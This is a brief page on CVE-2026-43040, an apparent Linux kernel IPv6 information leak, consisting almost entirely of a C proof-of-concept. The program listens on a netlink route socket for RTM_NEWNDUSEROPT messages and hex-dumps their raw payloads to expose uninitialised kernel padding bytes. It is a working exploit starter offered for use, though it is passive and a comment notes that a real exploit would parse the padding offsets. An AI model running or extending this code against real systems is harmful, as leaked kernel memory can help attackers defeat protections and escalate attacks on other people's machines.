CVE-2026-43040 Linux内核IPv6信息泄露

/* * Conceptual PoC for CVE-2026-43040 * Compile: gcc poc.c -o poc * Description: This program listens for RTM_NEWNDUSEROPT messages * and dumps the payload to inspect uninitialized kernel memory. */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <arpa/inet.h> #define BUFFER_SIZE 4096 int main() { int sock_fd; struct sockaddr_nl sa; char buffer[BUFFER_SIZE]; int len; // Create Netlink socket sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock_fd < 0) { perror("socket"); return -1; } // Bind to RTMGRP_IPV6_NEIGH to catch ND useropts memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; sa.nl_groups = RTMGRP_IPV6_NEIGH; sa.nl_pid = getpid(); if (bind(sock_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); close(sock_fd); return -1; } printf("[+] Listening for RTM_NEWNDUSEROPT messages to leak kernel data...\n"); printf("[+] Trigger an IPv6 Router Advertisement to generate the message.\n"); while (1) { len = recv(sock_fd, buffer, BUFFER_SIZE, 0); if (len < 0) { perror("recv"); continue; } struct nlmsghdr *nh = (struct nlmsghdr *)buffer; if (nh->nlmsg_type == RTM_NEWNDUSEROPT) { printf("\n[!] Caught RTM_NEWNDUSEROPT! Dumping payload (check for non-zero padding):\n"); // Print raw payload to look for leaking data // In a real exploit, one would parse nduseroptmsg and check padding offsets for(int i = 0; i < len; i++) { printf("%02x ", (unsigned char)buffer[i]); if ((i + 1) % 16 == 0) printf("\n"); } printf("\n"); } } close(sock_fd); return 0; }